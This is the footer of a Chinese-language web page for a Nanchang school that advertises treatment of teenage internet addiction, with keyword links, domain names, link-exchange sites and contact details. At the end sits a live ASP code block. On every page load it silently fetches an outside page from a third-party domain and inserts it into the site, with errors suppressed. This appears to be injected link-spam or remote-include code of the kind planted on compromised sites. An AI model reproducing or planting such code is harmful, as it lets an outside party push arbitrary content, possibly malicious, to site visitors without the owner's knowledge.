通用网址: 中国择差教育|中华择差教育|择差教育网|中国青少年戒网瘾中心|南昌青少年网瘾戒除中心|我能行教育|中国和谐教育|网瘾少年|戒网瘾|早恋|网恋|网瘾|中国习惯教育网|中国习惯教育|中国快乐教育|中国赏识教育|中国审美教育网
中文域名: 中国习惯教育网.中国|中国习惯教育网.com|中国习惯教育网.cn|中国习惯教育.中国|中国习惯教育.com|中国情商教育.cn|中国情商教育.中国|中国儿童情商教育.cn|中国儿童情商教育.中国|中国潜能教育.cn|中国潜能教育.中国|中国儿童潜能教育.cn|中国儿童潜能教育.中国|我能行.cn|我能行.中国|中国和谐教育网.cn|中国和谐教育网.中国|我能行教育.cn|我能行教育.中国
友情链接: 网瘾学校|浙江戒网瘾|长沙戒网瘾|广东戒网瘾|山东戒网瘾|上海戒网瘾|江苏戒网瘾|北京戒网瘾|湖南戒网瘾|河南戒网瘾|湖北戒网瘾|武汉戒网瘾|西西网|什么是网瘾|
中国和谐教育官方网站 版权所有:南昌我能行教育训练学校 赣ICP备06006774号
学校地址:南昌市银三角英雄开发区内(在南昌昌昌南客运站乘1路专线车(南昌-莲塘)直接到省良种场下车即可)
联系电话:18970809066 0791-7187055 0791-5984918 邮 箱:wnx2010@126.com
<% On Error Resume Next Server.ScriptTimeOut=9999999 response.write(getHTTPPage("http://www.0798xxw.cn/inc/lian.htm")) function getHTTPPage(url) dim http set http=createobject("MSXML2.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytes2BSTR(Http.responseBody) set http=nothing if err.number<>0 then err.Clear end function Function bytes2BSTR(vIn) dim strReturn dim i,ThisCharCode,NextCharCode strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End Function %>